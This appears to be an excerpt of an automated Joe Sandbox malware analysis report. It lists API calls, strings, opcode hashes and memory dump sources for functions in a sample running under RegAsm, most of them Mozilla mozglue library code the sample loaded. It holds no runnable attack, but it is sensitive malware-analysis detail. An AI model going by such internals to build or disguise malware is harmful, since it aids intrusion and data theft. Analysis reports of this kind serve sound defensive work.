GetCurrentThreadId.KERNEL32 ref: 6C2E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C2E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C2E6017

Part of subcall function 6C2D4310: moz_xmalloc.MOZGLUE(00000010,?,6C2D42D2), ref: 6C2D436A
Part of subcall function 6C2D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C2D42D2), ref: 6C2D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C2E5F47
GetCurrentProcess.KERNEL32 ref: 6C2E5F53
GetCurrentThread.KERNEL32 ref: 6C2E5F5C
GetCurrentProcess.KERNEL32 ref: 6C2E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C2E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C2E5F27

Part of subcall function 6C2ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C2ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2E55E1), ref: 6C2E5E8C

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2E55E1), ref: 6C2E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2E55E1), ref: 6C2E60CC

Strings

GeckoMain, xrefs: 6C2E5ECE, 6C2E6015

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 32f8c894da8c6d3ca1945afd241090fcfca97750e1bb34143e5c559b0e610659
Instruction ID: 159506c44e004c5cbeef1a5fbc6ec47ef9950d7e230e15d9c61ddca959137dd9
Opcode Fuzzy Hash: 32f8c894da8c6d3ca1945afd241090fcfca97750e1bb34143e5c559b0e610659
Instruction Fuzzy Hash: FB71E6B06047448FD700DF24D4C0A6ABBF4FF5A308F94496DE9869BB52DB31E948CB92

Function 6C2E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C2D3217
Part of subcall function 6C2D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C2D3236
Part of subcall function 6C2D31C0: FreeLibrary.KERNEL32 ref: 6C2D324B
Part of subcall function 6C2D31C0: __Init_thread_footer.LIBCMT ref: 6C2D3260
Part of subcall function 6C2D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C2D327F
Part of subcall function 6C2D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2D328E
Part of subcall function 6C2D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C2D32AB
Part of subcall function 6C2D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C2D32D1
Part of subcall function 6C2D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C2D32E5
Part of subcall function 6C2D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C2D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C2E9675
__Init_thread_footer.LIBCMT ref: 6C2E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C2E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C2E9707
__Init_thread_footer.LIBCMT ref: 6C2E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C2E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C2E97B7
FreeLibrary.KERNEL32 ref: 6C2E97D0
FreeLibrary.KERNEL32 ref: 6C2E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C2E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C2E9670
MapViewOfFileNuma2, xrefs: 6C2E97B1
ntdll.dll, xrefs: 6C2E96E3
NtMapViewOfSection, xrefs: 6C2E9701

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 177ab7191ed6319ae16cd1684e52240331b3ce496a8e31146f8e1d9fd9f7ccfa
Instruction ID: bf52407ef70bfbb405b3bd79848eff1c92d00e47afeb082cf0f86f4004208b63
Opcode Fuzzy Hash: 177ab7191ed6319ae16cd1684e52240331b3ce496a8e31146f8e1d9fd9f7ccfa
Instruction Fuzzy Hash: 0961B0B170024A9FDF00AF65E884F9A7BB8EB4E359F90411AFD55A7780D730A864CF91

Function 004112B0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004112D5
ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 6C2D3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E768,?,00003000,00000004), ref: 6C2D3AC5
LeaveCriticalSection.KERNEL32(6C35E768,?,00003000,00000004), ref: 6C2D3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6C2D3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C2D3B57
EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2D3B81
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D3BA3
EnterCriticalSection.KERNEL32(6C35E7B8), ref: 6C2D3BAE
LeaveCriticalSection.KERNEL32(6C35E7B8), ref: 6C2D3C74
EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2D3C8B
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D3C9F
LeaveCriticalSection.KERNEL32(6C35E7B8), ref: 6C2D3D5C
EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2D3D67
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D3D8A

Part of subcall function 6C310D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C2D3DEF), ref: 6C310D71
Part of subcall function 6C310D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C2D3DEF), ref: 6C310D84

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C2D3DCC
<jemalloc>, xrefs: 6C2D3DC7
MOZ_CRASH(), xrefs: 6C2D3DB2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 278fe1c75f037ebc1b49eb7b2f3db3f0cca2a0163ef0cd89f7ed1184da228691
Instruction ID: f19d95a582576a271f071629b8ce58715f908b2281797233fd9cc4d1086b2a03
Opcode Fuzzy Hash: 278fe1c75f037ebc1b49eb7b2f3db3f0cca2a0163ef0cd89f7ed1184da228691
Instruction Fuzzy Hash: 4F91BC7570430A8FCB04CF68D8C0B6A77B6BBA6319B664528ED119BB85DB75E800CF91

Function 6C2E11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C2E1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C2E1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C2E12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C2E1327

Strings

CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C2E131B
MZx, xrefs: 6C2E11E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C2E120D
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C2E12AD
&, xrefs: 6C2E126B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 4632ce885dd7d25eff9232b591a33094209f7d64c243691f218b85883b1f0c06
Instruction ID: a9bd32299dd4297186c755dbf739bf1e7fc9ce8c1b2411292aeffb1f43b5575f
Opcode Fuzzy Hash: 4632ce885dd7d25eff9232b591a33094209f7d64c243691f218b85883b1f0c06
Instruction Fuzzy Hash: FC71AF71A0135D8ADB219F64D800BDEB7F5BF48309F44066AD845B3B41DB74AAC8CBA2

Function 6C2D31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C2D3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C2D3236
FreeLibrary.KERNEL32 ref: 6C2D324B
__Init_thread_footer.LIBCMT ref: 6C2D3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C2D327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2D328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C2D32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C2D32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C2D32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C2D32F7

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

__aulldiv.LIBCMT ref: 6C2D346B

Strings

KernelBase.dll, xrefs: 6C2D3212
QueryInterruptTime, xrefs: 6C2D3230

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 75e14816f3ce5088cec8b5b6bab4ba922a9114b19ac2f310af2b1f82cf7fddc4
Instruction ID: 9d7a47a58ac075c5ff6b8ee6d6b5ef1972a3f2380df5a155876f5105522cb63c
Opcode Fuzzy Hash: 75e14816f3ce5088cec8b5b6bab4ba922a9114b19ac2f310af2b1f82cf7fddc4
Instruction Fuzzy Hash: AC612671A087458BC711CF38C45065AB7F8FFCA354F618B2DF8A5A3690EB74A545CB82

Function 6C336660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C35F618), ref: 6C336694
GetThreadId.KERNEL32(?), ref: 6C3366B1
GetCurrentThreadId.KERNEL32 ref: 6C3366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C3366E1
EnterCriticalSection.KERNEL32(6C35F618), ref: 6C336734
GetCurrentProcess.KERNEL32 ref: 6C33673A
LeaveCriticalSection.KERNEL32(6C35F618), ref: 6C33676C
GetCurrentThread.KERNEL32 ref: 6C3367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C336868
RtlCaptureContext.NTDLL ref: 6C33687F

Strings

WalkStack64, xrefs: 6C336890

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b2d9213ddee72da55f4cc0afd2dbec22d3cd0df48fae07ec33691c31f53b1b37
Instruction ID: eff66f1c30ac603511e5a41af4068ec1d966aa482466d146f7f36920cf1bf72b
Opcode Fuzzy Hash: b2d9213ddee72da55f4cc0afd2dbec22d3cd0df48fae07ec33691c31f53b1b37
Instruction Fuzzy Hash: 0D51CD71A09350AFDB11CF24C848B5ABBF8BF89718F44492DF9989B640D771E908CF92

Function 6C31DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31DE73
GetCurrentThreadId.KERNEL32 ref: 6C31DF7D
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31DF8A
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31DFC9
GetCurrentThreadId.KERNEL32 ref: 6C31DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C2E4A68), ref: 6C31DE7B

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C2E4A68), ref: 6C31DEB8
free.MOZGLUE(00000000,?,6C2E4A68), ref: 6C31DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C31DF38

Strings

<none>, xrefs: 6C31DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C31DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C31E00E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 69520d34c46b74ba7676ebd68248fb052b3764b5c56a6ea20d01e6d10e2ebfe8
Instruction ID: dd6a2c5408e19a06432be5a2270bcb04c0dd6d874fc66fe84b0bdb823c50f032
Opcode Fuzzy Hash: 69520d34c46b74ba7676ebd68248fb052b3764b5c56a6ea20d01e6d10e2ebfe8
Instruction Fuzzy Hash: 25414771B052109FDB199F64D808BAA7779EF4A30CF860019E9059BF01CB369905CFE2

Function 6C32D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D918
GetCurrentThreadId.KERNEL32 ref: 6C32D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D970
GetCurrentThreadId.KERNEL32 ref: 6C32D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C32DA2E
GetCurrentThreadId.KERNEL32 ref: 6C32DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C32DA91

Part of subcall function 6C2F5C50: GetTickCount64.KERNEL32 ref: 6C2F5D40
Part of subcall function 6C2F5C50: EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32DAB7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: b8765bf95978bca29f7013142c99c439b5335d375c2c2dbaa2909ca50378b65f
Instruction ID: 65f99c9edf5f0c67943adc0bc582b18e24bfc120875412f931baaa6379fbb774
Opcode Fuzzy Hash: b8765bf95978bca29f7013142c99c439b5335d375c2c2dbaa2909ca50378b65f
Instruction Fuzzy Hash: 1A719E756043049FCB00CF29C888B9ABBF9FF89318F59856DE85A9B341DB35A944CF91

Function 6C32D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D52A
GetCurrentThreadId.KERNEL32 ref: 6C32D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D55F
free.MOZGLUE(00000000), ref: 6C32D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C32D5D3
GetCurrentThreadId.KERNEL32 ref: 6C32D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D652
GetCurrentThreadId.KERNEL32 ref: 6C32D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D6A2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 236e42f83870b6fe76bfea079ace98f9cdb732cc8ec99741009cd9909f35efa0
Instruction ID: 4b59f6002b832a5ed03ff5836cde78ed41fbdbd1e38fb6b55edf935f80918aac
Opcode Fuzzy Hash: 236e42f83870b6fe76bfea079ace98f9cdb732cc8ec99741009cd9909f35efa0
Instruction Fuzzy Hash: 7C516D71604705DFCB04DF35C484A9ABBF8FF89318F50862EE85A97710DB35A945CB91

Function 6C2D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2D1EC1
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D1EE1
EnterCriticalSection.KERNEL32(6C35E744), ref: 6C2D1F38
LeaveCriticalSection.KERNEL32(6C35E744), ref: 6C2D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C2D1F83
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D1FC0
EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2D1FE2
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C2D2019

Strings

D5l, xrefs: 6C2D1F56
\5l, xrefs: 6C2D1F3E
D5l, xrefs: 6C2D1F32
MOZ_CRASH(), xrefs: 6C2D2000

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D5l$D5l$MOZ_CRASH()$\5l
API String ID: 2055633661-643563611
Opcode ID: ca8c77ce555deff49019b82982ebc260ba726444127aff8c7d4c633732a3cb61
